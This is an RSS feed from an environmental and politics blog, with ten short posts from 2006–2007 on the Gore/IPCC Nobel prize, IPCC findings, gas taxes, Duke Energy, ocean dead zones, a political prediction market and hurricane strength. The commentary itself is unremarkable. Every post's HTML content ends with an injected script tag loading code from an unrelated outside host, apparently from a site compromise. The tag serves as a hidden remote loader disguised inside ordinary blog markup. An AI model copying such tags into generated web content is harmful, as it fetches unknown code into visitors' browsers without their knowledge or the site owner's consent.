<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>D.C. Watch &#187; politics</title>
	<atom:link href="http://blog.getm.org/category/politics/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.getm.org</link>
	<description>The Official GETM.org Blog</description>
	<lastBuildDate>Tue, 08 Dec 2009 02:11:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Al Gore Wins Nobel Peace Prize</title>
		<link>http://blog.getm.org/2007/10/12/al-gore-wins-nobel-peace-prize/</link>
		<comments>http://blog.getm.org/2007/10/12/al-gore-wins-nobel-peace-prize/#comments</comments>
		<pubDate>Fri, 12 Oct 2007 20:36:47 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Al Gore]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[IPCC]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nobel Prize]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=114</guid>
		<description><![CDATA[The 2007 Nobel Peace Prize goes to the Intergovernmental Panel on Climate Change (IPCC) and Albert Arnold (Al) Gore Jr. &#8220;for their efforts to build up and disseminate greater knowledge about man-made climate change, and to lay the foundations for the measures that are needed to counteract such change&#8221;. There is a debate if winning the [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" width="103" src="http://nobelprize.org/nobel_prizes/peace/laureates/2007/gore.jpg" alt="al gore" height="148" style="width: 103px; height: 148px" title="al gore" />The 2007 <a target="_blank" href="http://news.yahoo.com/s/afp/20071012/wl_afp/nobelpeace_11" title="nobel peace prize yahoo news">Nobel Peace Prize</a> goes to the Intergovernmental Panel on Climate Change (IPCC) and Albert Arnold (Al) Gore Jr. &#8220;for their efforts to build up and disseminate greater knowledge about man-made climate change, and to lay the foundations for the measures that are needed to counteract such change&#8221;.</p>
<p>There is a debate if winning the Nobel will push Gore into the <a target="_blank" href="http://www.draftgore.com/" title="draft gore org">2008 presidential race</a>. Only time can tell!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/10/12/al-gore-wins-nobel-peace-prize/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Global Warming: It&#8217;s All About Carbo</title>
		<link>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/</link>
		<comments>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 15:17:08 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Comic]]></category>
		<category><![CDATA[Ethanol]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[NPR]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[TV]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Tips/Tools]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=113</guid>
		<description><![CDATA[As part of the Climate Connection initiative by NPR and National Geographic, Robert Krulwich&#8217;s created a five-part cartoon series that&#8217;s a really cool way to teach your kids the science of global warming. The videos are not embeddable, so you will have to view them on NPR. I watched all five and I think it&#8217;ll [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://media.npr.org/programs/morning/features/2007/jul/carbon/scientist400.jpg" title="climate connection" alt="climate connection" align="left" height="203" width="200" />As part of the Climate Connection initiative by NPR and National Geographic, Robert Krulwich&#8217;s created a five-part cartoon series that&#8217;s a really cool way to teach your kids the science of global warming.  The videos are not embeddable, so you will have to view them on <a href="http://www.npr.org/news/specials/climate/video/" target="_blank" rel="nofollow">NPR</a>. I watched all five and I think it&#8217;ll help more than just the kids learn a thing or two about carbon!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Scientists Agree that Global Warming &#8220;Very Likely&#8221; Man-made</title>
		<link>http://blog.getm.org/2007/02/01/scientists-agree-that-global-warming-very-likely-man-made/</link>
		<comments>http://blog.getm.org/2007/02/01/scientists-agree-that-global-warming-very-likely-man-made/#comments</comments>
		<pubDate>Thu, 01 Feb 2007 21:39:22 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[IPCC]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=106</guid>
		<description><![CDATA[The Intergovernmental Panel on Climate Change (IPCC), consisting of hundreds of scientist form around the world concluded that Global Warming is &#8220;Very Likely&#8221; due to human activities. Very Likely in IPCC terminology means greater than 90 percent probability. IPCC said the other 10 percent may or may not be due to god, which is closely [...]]]></description>
			<content:encoded><![CDATA[<p><img align="right" width="203" src="http://newsimg.bbc.co.uk/media/images/42523000/jpg/_42523993_patgoniamix203.jpg" alt="patgonia glacier" height="152" style="width: 203px; height: 152px" title="patgonia glacier" />The Intergovernmental Panel on Climate Change (IPCC), consisting of hundreds of scientist form around the world concluded that Global Warming is &#8220;Very Likely&#8221; due to human activities. Very Likely in IPCC terminology means greater than 90 percent probability. IPCC said the other 10 percent may or may not be due to god, which is closely in line with the Bush administration findings.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/02/01/scientists-agree-that-global-warming-very-likely-man-made/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Here&#8217;s An Alternative Viewpoint on Alternative Energy</title>
		<link>http://blog.getm.org/2007/01/25/here%e2%80%99s-an-alternative-viewpoint-on-alternative-energy/</link>
		<comments>http://blog.getm.org/2007/01/25/here%e2%80%99s-an-alternative-viewpoint-on-alternative-energy/#comments</comments>
		<pubDate>Thu, 25 Jan 2007 18:51:01 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=104</guid>
		<description><![CDATA[As heard on Marketplace today: SCOTT JAGOW: In the State of the Union, President Bush said he wanted to mandate the use of certain gasoline alternatives like ethanol and force higher fuel economy standards for cars. I called up our economics correspondent Chris Farrell to get his thoughts on the Bush energy plan. In a [...]]]></description>
			<content:encoded><![CDATA[<p>As heard on <a title="marketplace" href="http://marketplace.publicradio.org/shows/2007/01/25/AM200701251.html" target="_blank">Marketplace</a> today:</p>
<blockquote><p><strong>SCOTT JAGOW:</strong> In the State of the Union, President Bush said he wanted to mandate the use of certain gasoline alternatives like ethanol and force higher fuel economy standards for cars. I called up our economics correspondent Chris Farrell to get his thoughts on the Bush energy plan. In a nutshell, good intentions but the wrong approach.</p>
<p><strong>CHRIS FARRELL: </strong>Do you really think that the government is in the best position to determine that ethanol is the right alternative fuel? What I would much rather see, what I would have really liked to have seen, now it would have been a moment, but if the President had said, &#8216;you know what, I&#8217;m going to join the Pigou Club. . .&#8217;</p>
<p><strong>JAGOW: </strong>Come again? The Pigou Club?</p>
<p><strong>FARRELL:</strong> The Pigou Club. Now this was started by Greg Mankiw and he was the former head of the Council of Economic Advisors under President Bush. He&#8217;s an economist at Harvard University. Pigouvian taxes are taxes that you impose when there&#8217;s a market failure. So the classic example are sin taxes, a tax on cigarettes as a way of discouraging people from smoking. Well he started the Pigou Club. A lot of economists have joined it. And all it says is &#8216;look, let&#8217;s just raise the gas tax and then let the market decide.&#8217; If Scott wants to drive a fuel-efficient car and you raise the gas tax, there&#8217;s gonna be a lot of fuel-efficient cars out there. If Chris wants to drive a gas-guzzler, hey guess what, there&#8217;ll be gas-guzzlers available, I&#8217;m just gonna have to pay for it.</p>
<p><strong>JAGOW: </strong>Wait, so Chris you&#8217;re telling me mandating certain things like ethanol use is a bad thing, but imposing a gas tax is a good thing? What&#8217;s the difference?</p>
<p><strong>FARRELL: </strong>Only thing the government&#8217;s doing is saying, &#8216;there are some really bad effects from our lack of energy independence and our dependence on foreign oil.&#8217; If you impose a broad-based tax, so you raise the cost, and then you unleash the wisdom of the market. You unleash the entrepreneurs in Silicon Valley. You know, they&#8217;re finding all kinds of new technologies. We don&#8217;t know if it&#8217;s ethanol, biomass, let&#8217;s just raise the price. It&#8217;s really, what&#8217;s the best way to encourage innovation. That&#8217;s really the issue.</p>
<p><strong>JAGOW: </strong>OK let&#8217;s say you&#8217;re right and that a gas tax is the way to go . . .</p>
<p><strong>FARRELL:</strong> A little skepticism there but OK, I&#8217;ll take it.</p>
<p><strong>JAGOW:</strong> Just a healthy skepticism. Now just saying the word &#8220;tax,&#8221; if you&#8217;re running for President or if you are President or I mean who&#8217;s gonna buy this?</p>
<p><strong>FARRELL:</strong> You&#8217;re absolutely right. What I would argue, if you package a gas tax, not only as part of energy security but part of attacking global warming and leading toward a more sustainable environment, there are ways that you can manipulate this situation so that the word &#8220;tax&#8221; doesn&#8217;t quite have the negative connotations which you have rightly raised. And it&#8217;s more like environmentally-conscious, attacking global warming . . .</p>
<p><strong>JAGOW:</strong> OK Chris, thanks for sharing your thoughts.</p>
<p><strong>FARRELL:</strong> Thanks a lot Scott.</p>
<p><strong>JAGOW: </strong>Chris Farrell is the Marketplace economics correspondent.</p></blockquote>
<p>Visit: <a title="pigou" href="http://www.pigouclub.com/" target="_blank">Pigou Club</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/01/25/here%e2%80%99s-an-alternative-viewpoint-on-alternative-energy/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Environmental Defense vs.Duke Energy</title>
		<link>http://blog.getm.org/2006/11/02/environmental-defense-vsduke-energy/</link>
		<comments>http://blog.getm.org/2006/11/02/environmental-defense-vsduke-energy/#comments</comments>
		<pubDate>Thu, 02 Nov 2006 04:27:47 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[EPA]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Environmental Defense]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Supreme Court]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=102</guid>
		<description><![CDATA[Environmental Defense took Duke energies to the Supreme Court today on charges that the North Carolina power giant failed to comply with the Clean Air Act requirements to add pollution reduction mechanism when they upgraded their plants. For a change, the Bush administered EPA was on the side of Environment Defense. In an earlier appeals [...]]]></description>
			<content:encoded><![CDATA[<p>Environmental Defense took Duke energies to the Supreme Court today on charges that the North Carolina power giant failed to comply with the Clean Air Act requirements to add pollution reduction mechanism when they upgraded their plants. For a change, the Bush administered EPA was on the side of Environment Defense. In an earlier appeals court ruling, the judges sided the industry and today, a similar tone was prevalent at the Supreme Court. It makes no sense why Duke would rather throw money at the lawyers than spend it on pollution control, after all, they need to breathe too.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/11/02/environmental-defense-vsduke-energy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Greenday + NRDC</title>
		<link>http://blog.getm.org/2006/10/30/greenday-nrdc/</link>
		<comments>http://blog.getm.org/2006/10/30/greenday-nrdc/#comments</comments>
		<pubDate>Tue, 31 Oct 2006 03:02:43 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[NRDC]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=103</guid>
		<description><![CDATA[Watch this!]]></description>
			<content:encoded><![CDATA[<p><a title="YouTube" href="http://www.youtube.com/watch?v=f72029iNJhY" target="_blank">Watch this!</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/10/30/greenday-nrdc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;Dead Zones&#8221; On the Rise: Economic Impact of Pollution</title>
		<link>http://blog.getm.org/2006/10/19/%e2%80%98dead-zones%e2%80%99-on-the-rise-economic-impact-of-pollution/</link>
		<comments>http://blog.getm.org/2006/10/19/%e2%80%98dead-zones%e2%80%99-on-the-rise-economic-impact-of-pollution/#comments</comments>
		<pubDate>Fri, 20 Oct 2006 03:30:36 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Chesapeake Bay]]></category>
		<category><![CDATA[EPA]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[UN]]></category>
		<category><![CDATA[flush tax]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=101</guid>
		<description><![CDATA[According to the United Nations Environment Programme (UNEP), the number of &#8220;dead zones&#8221; or low oxygenated areas in the world&#8217;s seas and oceans may now be as high as 200, the new scientific estimates were released at an international marine pollution meeting this week in Beijing. The low levels of oxygen in the water make [...]]]></description>
			<content:encoded><![CDATA[<p><img title="bills" src="http://www.lsigrouputilitybuyingscheme.co.uk/images/bills_RSSize(176x180).jpg" alt="bills" align="left" />According to the United Nations Environment Programme (UNEP), the number of &#8220;dead zones&#8221; or low oxygenated areas in the world&#8217;s seas and oceans may now be <a title="UN" href="http://www.unep.org/Documents.Multilingual/Default.asp?DocumentID=486&amp;ArticleID=5393&amp;l=en" target="_blank">as high as 200</a>, the new scientific estimates were released at an international marine pollution meeting this week in Beijing.</p>
<p>The low levels of oxygen in the water make it difficult for fish, oysters and other marine creatures to survive as well as important habitats such as sea grass beds. The cause is attributed mostly to fertilizers in the form of farm run-offs and sewage plants, but most often the utility consumers end up bearing the cost of clean up in the form of higher water usage charges.</p>
<p>In the US, particularly in areas with sensitive water bodies like the Chesapeake Bay, states have imposed additional duty for water usage dubbed the &#8220;flush tax&#8221;. Utility bills are expected to increase continually until 2014 to meet the demand for plant upgrades. This is due in part the US EPA mandate to reduce pollutant load enter such managed watersheds.</p>
<p>Does it mean the utility business will flourish? Usually not, the technology cost of clean up could run in millions of dollars. As an example, a plant that never required to meet Nitrogen pollutant limits would now need to spend millions to bring the levels down to below 3 mg/L (Parts Per Million) by the year 2010. So will the technology providers benefit from this crisis, probably a little, but cutting edge technology comes at a cost, and research consumes the majority of the profits.</p>
<p>So who is making the money? Clearly the only winners are the farmers, they pollute while benefiting from it, yet they never pay for the clean up. Why you may ask, faming is not a profitable business for one, with more than 50 percent of the world population involved in farming, the net GDP from farming is less than 4 percent, so there is no point going after those who can never pay, so the farming community weasels out, resulting in a bigger bill for you am I.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/10/19/%e2%80%98dead-zones%e2%80%99-on-the-rise-economic-impact-of-pollution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scientists Believe that Explosion May Not be Nuclear</title>
		<link>http://blog.getm.org/2006/10/10/scientists-believe-that-explosion-may-not-be-nuclear/</link>
		<comments>http://blog.getm.org/2006/10/10/scientists-believe-that-explosion-may-not-be-nuclear/#comments</comments>
		<pubDate>Tue, 10 Oct 2006 17:50:39 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Nuclear]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[War]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=100</guid>
		<description><![CDATA[According to an Associated Press release, the explosion may be resultant of a failed nuclear test or from a smaller explosion. The seismic data thus far are conflicting and no clear determination of the nature of the explosion is possible at this time. Read the rest of the story.]]></description>
			<content:encoded><![CDATA[<p><img title="nk" alt="nk" src="http://www1.wsvn.com/images/news_articles/archive/021017north_korea.jpg" align="left" />According to an Associated Press release, the explosion may be resultant of a failed nuclear test or from a smaller explosion. The seismic data thus far are conflicting and no clear determination of the nature of the explosion is possible at this time.</p>
<p>Read the rest of the <a title="AP" href="http://hosted.ap.org/dynamic/stories/D/DETECTING_NUCLEAR_TESTS?SITE=MALOW&#038;SECTION=HOME&#038;TEMPLATE=DEFAULT" target="_blank">story</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/10/10/scientists-believe-that-explosion-may-not-be-nuclear/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Washington Stock Exchange</title>
		<link>http://blog.getm.org/2006/10/05/the-washington-stock-exchange/</link>
		<comments>http://blog.getm.org/2006/10/05/the-washington-stock-exchange/#comments</comments>
		<pubDate>Fri, 06 Oct 2006 02:48:49 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Stocks]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[WSX]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=99</guid>
		<description><![CDATA[When there is money at stake, people tend to be more calculative and careful in critical decision making, this human psyche is collectively harnessed to predict future political outcomes by Washington Stock Exchange. The way it works is quite simple, anyone can sign up for free and receive W$1,000,000 Washington dollars (not real of course) [...]]]></description>
			<content:encoded><![CDATA[<p><img title="wsx" alt="wsx" src="http://www.thewsx.com/includes/images/wsx_logo.gif" align="left" />When there is money at stake, people tend to be more calculative and careful in critical decision making, this human psyche is collectively harnessed to predict future political outcomes by <a title="wsx" href="http://www.thewsx.com/" target="_blank">Washington Stock Exchange</a>. The way it works is quite simple, anyone can sign up for free and receive W$1,000,000 Washington dollars (not real of course) to start trading in stocks linked to uncertain political outcomes. You buy and sell stocks based on your opinion about likelihood of the underlying event. The resulting price corresponds to the probability that it will happen, according to the collective wisdom of the market. According to the site, by harvesting the collective intelligence of all the traders, the market generates very accurate forecasts about the events in question.</p>
<p>This is not just a great concept but something I personally urge everyone try, this in a way is the democratic back channel process that not only predicts potential outcome, but also help those in policy making steer key legislation to make it favorable to the collective for a change.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/10/05/the-washington-stock-exchange/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is Global Warming Contributing to Stronger Hurricanes?</title>
		<link>http://blog.getm.org/2006/09/15/%e2%80%9cis-global-warming-contributing-to-stronger-hurricanes%e2%80%9d/</link>
		<comments>http://blog.getm.org/2006/09/15/%e2%80%9cis-global-warming-contributing-to-stronger-hurricanes%e2%80%9d/#comments</comments>
		<pubDate>Sat, 16 Sep 2006 00:04:22 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Al Gore]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[NET]]></category>
		<category><![CDATA[NOAA]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=97</guid>
		<description><![CDATA[Yes! According to National Environmental Trust (NET) a D.C. based non-profit, the scientific evidence paints a compelling picture of how global warming is already making storms more powerful. A 2004 NASA study found that over an eighty year period, global warming would cause the average hurricane to increase by half a category on the Category [...]]]></description>
			<content:encoded><![CDATA[<p><img title="florida" src="http://newsimg.bbc.co.uk/media/images/40742000/jpg/_40742220_kat_quiksat_nasa_203.jpg" alt="florida" align="left" />Yes! According to <a title="net.org" href="http://www.net.org" target="_blank">National Environmental Trust</a> (NET) a D.C. based non-profit, the <a title="ipcc" href="http://www.grida.no/climate/ipcc_tar/wg2/029.htm" target="_blank">scientific evidence</a> paints a compelling picture of how global warming is already making storms more powerful. A <a title="nasa" href="http://www.gfdl.noaa.gov/reference/bibliography/2004/tk0401.pdf" target="_blank">2004 NASA study</a> found that over an eighty year period, global warming would cause the average hurricane to increase by half a category on the Category 1 through 5 scale (<a title="nhc" href="http://www.nhc.noaa.gov/aboutsshs.shtml" target="_blank">Saffir-Simpson scale</a>) that is the official measure of hurricane strength. This along with several independent papers, suggest that global warming is already making storms stronger.</p>
<p>For a list of scientific studies on global warming and hurricane, visit <a title="net" href="http://www.net.org/warming/hurricanes.vtml" target="_blank">net.org</a>. For a light read on how it affects the political scenario in America, visit <a title="bbc" href="http://news2.thdo.bbc.co.uk/1/hi/sci/tech/5345808.stm" target="_blank">BBC for an op-ed</a> by NET&#8217;s Philip Clapp.</p>
<blockquote><p><em>The National Environmental Trust is a non-profit, non-partisan organization established in 1994 to inform citizens about environmental problems and how they affect our health and quality of life. Check out our campaigns and special reports (links to the left) to learn about the issues on which we currently focus. </em></p></blockquote>
<p>Photo Courtesy: <a title="nasa" href="http://www.nasa.gov/multimedia/imagegallery/index.html" target="_blank">NASA</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/09/15/%e2%80%9cis-global-warming-contributing-to-stronger-hurricanes%e2%80%9d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
